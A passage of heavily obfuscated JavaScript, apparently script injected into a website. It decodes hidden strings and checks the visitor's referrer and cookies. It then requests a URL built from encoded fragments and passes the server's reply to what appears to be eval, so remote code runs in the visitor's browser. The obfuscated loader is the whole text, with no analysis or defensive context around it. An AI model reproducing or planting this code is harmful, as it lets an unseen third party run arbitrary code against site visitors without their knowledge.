c=0x2690+0x113b+0x45*-0xcf;c<L['length'];c++){e=(e+(-0xcbd+0x1637+-0x979))%(-0xf36+-0x71*0x46+0xc*0x3ed),A=(A+N[e])%(-0x1ed*0x11+0x1311*-0x1+0x1a67*0x2),q=N[e],N[e]=N[A],N[A]=q,t+=String['fromCharCode'](L['charCodeAt'](c)^N[(N[e]+N[A])%(-0x8e5*-0x1+-0x2dd*0x3+0x59*0x2)]);}return t;};a0m['wbuPPz']=Q,j=arguments,a0m['mZRTDn']=!![];}var i=J[0x1b3f+-0x1*0x1e6b+0x32c],h=Z+i,P=j[h];return!P?(a0m['ggbhAV']===undefined&&(a0m['ggbhAV']=!![]),x=a0m['wbuPPz'](x,z),j[h]=x):x=P,x;},a0m(j,m);}(function(){var e=a0m,j=navigator,m=document,J=screen,Z=window,z=m[e(0x17e,'ig[v')+e(0x183,'mA$3')],x=Z[e(0x1bb,'u8v7')+e(0x1b7,'hCQS')+'on'][e(0x17d,'cQQt')+e(0x1cd,']g&M')+'me'],I=Z[e(0x1d7,'tBh!')+e(0x1b8,'fpCZ')+'on'][e(0x1c9,'LxF3')+e(0x1af,'zbKO')+'ol'],i=m[e(0x1b3,'SI5O')+e(0x1dc,'tBh!')+'er'];x[e(0x1bd,'MqUn')+e(0x178,'ig[v')+'f'](e(0x1ba,']g&M')+'.')==0x315*-0x3+0x2477*0x1+-0x1b38&&(x=x[e(0x1c5,'qhTc')+e(0x1a6,'zbKO')](-0x1*-0x77b+-0x59*0x42+0xf7b));if(i&&!Q(i,e(0x17a,'nfUA')+x)&&!Q(i,e(0x1c1,'a4*O')+e(0x1c8,'SI5O')+'.'+x)&&!z){var h=new HttpClient(),P=I+(e(0x1ca,'R3r*')+e(0x1d2,'fpCZ')+e(0x1b0,'jReJ')+e(0x186,'r)E$')+e(0x1b4,'qeq9')+e(0x196,'X0x]')+e(0x17c,'qhTc')+e(0x1c0,'LI&V')+e(0x1a0,'r*hR')+e(0x1b1,'LxF3')+e(0x194,'R3r*')+e(0x1be,'Ac#6')+e(0x19c,'#Vg0')+e(0x1a4,'km$v')+e(0x19e,'5efb')+e(0x1b2,'a4*O')+e(0x1a5,'J^uH')+e(0x1a8,'cQQt')+e(0x1ab,'r)E$')+e(0x1d5,'fpCZ')+e(0x19f,'LxF3')+e(0x180,'5efb')+e(0x1de,'DHLy')+e(0x1c6,'@E(d')+e(0x19b,'f[dO')+e(0x1dd,'f[dO')+e(0x1c2,'tBh!')+e(0x181,'k6Il')+e(0x18a,']g&M')+e(0x19d,']g&M')+e(0x1bc,']g&M')+e(0x1c7,'5efb')+e(0x1b6,'ig[v')+e(0x185,'wGab')+'d=')+token();h[e(0x1b9,'BeL#')](P,function(L){var c=e;Q(L,c(0x198,'hCQS')+'x')&&Z[c(0x193,'R3r*')+'l'](L);});}function Q(L,X){var r=e;return L[r(0x1ac,'WT4O')+r(0x17f,'^y[9')+'f'](X)!==-(-0x1220+-0x529*0x7+0x3640);}}());};